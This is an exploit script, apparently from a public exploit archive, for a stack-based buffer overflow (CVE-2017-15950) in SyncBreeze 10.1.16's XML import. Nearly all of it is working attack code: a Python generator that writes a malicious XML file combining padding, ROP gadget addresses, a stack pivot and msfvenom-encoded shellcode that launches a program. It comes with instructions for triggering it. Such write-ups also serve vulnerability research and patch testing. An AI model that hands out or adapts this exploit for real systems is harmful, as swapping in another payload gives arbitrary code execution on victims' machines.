SyncBreeze 10.1.16 Buffer Overflow

`# Exploit Title: SyncBreeze 10.1.16 - XML Parsing Stack-based Buffer Overflow  
# Date: 03/27/2021  
# Author: Filipe Oliveira - filipecenturiao[at]hotmail.com Rafael Machado - nnszs[at]protonmail.com  
# Vendor: https://www.syncbreeze.com/  
# Software Link: https://www.4shared.com/file/57pE4sZfiq/syncbreeze_setup_v10116.html  
# Version: SyncBreeze v10.1.16 x86  
# Tested on: Windows 10 x64 (19042.867)  
# CVE: CVE-2017-15950  
  
Usage: The exploit will generate a POC file, called xplSyncBreeze.xml. Launch the application and click on Import Command, then load the POC file.   
  
# -*- coding: utf-8 -*-  
  
import struct  
  
# badchars  
#\x00\x0a\x0d\x20\x27  
#\x81\x82\x83\x84\x85\x86\x87\x88  
#\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90  
#\x91\x92\x93\x94\x95\x96\x97\x98  
#\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0  
#\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8  
#\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0  
#\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8  
#\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0  
#\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8  
#\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0  
#\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8  
#\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0  
#\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8  
#\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0  
#\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8  
#\xF9\xFA\xFB\xFC\xFD\xFE\xFF  
  
# Shellcode payload size: 432 bytes  
# msfvenom -a x86 --platform windows -p windows/exec CMD=calc -e x86/alpha_mixed BufferRegister=EAX -b '\x00\x0A\x0D\x20\x27' -v shellcode -f python  
  
shellcode = b""  
shellcode += b"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49"  
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a"  
shellcode += b"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51"  
shellcode += b"\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"  
shellcode += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c\x69"  
shellcode += b"\x78\x4e\x62\x75\x50\x77\x70\x35\x50\x45\x30"  
shellcode += b"\x4b\x39\x59\x75\x55\x61\x39\x50\x52\x44\x4e"  
shellcode += b"\x6b\x42\x70\x50\x30\x6e\x6b\x42\x72\x54\x4c"  
shellcode += b"\x6c\x4b\x70\x52\x74\x54\x4c\x4b\x62\x52\x66"  
shellcode += b"\x48\x44\x4f\x48\x37\x61\x5a\x51\x36\x45\x61"  
shellcode += b"\x39\x6f\x6e\x4c\x75\x6c\x43\x51\x71\x6c\x65"  
shellcode += b"\x52\x56\x4c\x47\x50\x4b\x71\x38\x4f\x74\x4d"  
shellcode += b"\x37\x71\x49\x57\x38\x62\x7a\x52\x52\x72\x36"  
shellcode += b"\x37\x4c\x4b\x63\x62\x42\x30\x6c\x4b\x31\x5a"  
shellcode += b"\x57\x4c\x4c\x4b\x32\x6c\x36\x71\x31\x68\x4a"  
shellcode += b"\x43\x47\x38\x47\x71\x4a\x71\x76\x31\x6c\x4b"  
shellcode += b"\x36\x39\x67\x50\x66\x61\x58\x53\x4c\x4b\x70"  
shellcode += b"\x49\x66\x78\x59\x73\x34\x7a\x53\x79\x6e\x6b"  
shellcode += b"\x50\x34\x4c\x4b\x66\x61\x4e\x36\x55\x61\x39"  
shellcode += b"\x6f\x4c\x6c\x4a\x61\x4a\x6f\x34\x4d\x67\x71"  
shellcode += b"\x48\x47\x67\x48\x69\x70\x71\x65\x59\x66\x54"  
shellcode += b"\x43\x63\x4d\x79\x68\x75\x6b\x73\x4d\x67\x54"  
shellcode += b"\x44\x35\x79\x74\x72\x78\x4e\x6b\x53\x68\x71"  
shellcode += b"\x34\x57\x71\x5a\x73\x52\x46\x6c\x4b\x36\x6c"  
shellcode += b"\x72\x6b\x6c\x4b\x76\x38\x75\x4c\x67\x71\x68"  
shellcode += b"\x53\x6e\x6b\x57\x74\x4e\x6b\x63\x31\x78\x50"  
shellcode += b"\x6f\x79\x73\x74\x47\x54\x64\x64\x53\x6b\x31"  
shellcode += b"\x4b\x63\x51\x50\x59\x63\x6a\x43\x61\x39\x6f"  
shellcode += b"\x59\x70\x73\x6f\x31\x4f\x62\x7a\x4e\x6b\x44"  
shellcode += b"\x52\x6a\x4b\x4e\x6d\x53\x6d\x73\x5a\x63\x31"  
shellcode += b"\x4c\x4d\x4d\x55\x6f\x42\x75\x50\x47\x70\x33"  
shellcode += b"\x30\x46\x30\x50\x68\x74\x71\x6c\x4b\x42\x4f"  
shellcode += b"\x6e\x67\x39\x6f\x6e\x35\x6f\x4b\x58\x70\x78"  
shellcode += b"\x35\x79\x32\x46\x36\x33\x58\x79\x36\x4c\x55"  
shellcode += b"\x4f\x4d\x6d\x4d\x39\x6f\x6a\x75\x55\x6c\x63"  
shellcode += b"\x36\x61\x6c\x45\x5a\x6d\x50\x49\x6b\x39\x70"  
shellcode += b"\x32\x55\x75\x55\x6d\x6b\x57\x37\x64\x53\x74"  
shellcode += b"\x32\x52\x4f\x50\x6a\x53\x30\x61\x43\x59\x6f"  
shellcode += b"\x78\x55\x73\x53\x30\x61\x30\x6c\x72\x43\x43"  
shellcode += b"\x30\x41\x41"  
  
  
# padding to crash buffer  
basura = struct.pack('<L', 0x41414141) * 390  
  
# gadgets to move payload pointer into EAX  
GAD1 = struct.pack('<L', 0x65235465) # XCHG EAX,EBP  
GAD2 = struct.pack('<L', 0x6506537C) # CALL EAX  
  
# padding to reach buffer address stored in ebp  
basura2 = struct.pack('<L', 0x41414141) * 56  
  
# padding for stack pivot  
  
padding = struct.pack('<L', 0x41414141) * 4  
padding2 = struct.pack('<L', 0x41414141) * 20  
  
# stack pivot to reach an area with more space for gadgets on the stack  
# 0x6506491c: add esp, 0x48 ; pop edi ; pop esi ; ret  
  
pivot = struct.pack('<L', 0x6506491c)  
  
# final payload  
  
fruta = basura + pivot + padding + padding2 + GAD1 + GAD2 + basura2 + shellcode  
  
  
# write payload to xml file  
  
payload = open("xplSyncBreeze.xml", "wb")  
payload.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n".encode('utf-8'))  
  
payload.write("<sync name='".encode('utf-8'))  
payload.write(fruta)  
payload.write("'>\n</sync>\n".encode('utf-8'))  
  
payload.close()  
  
`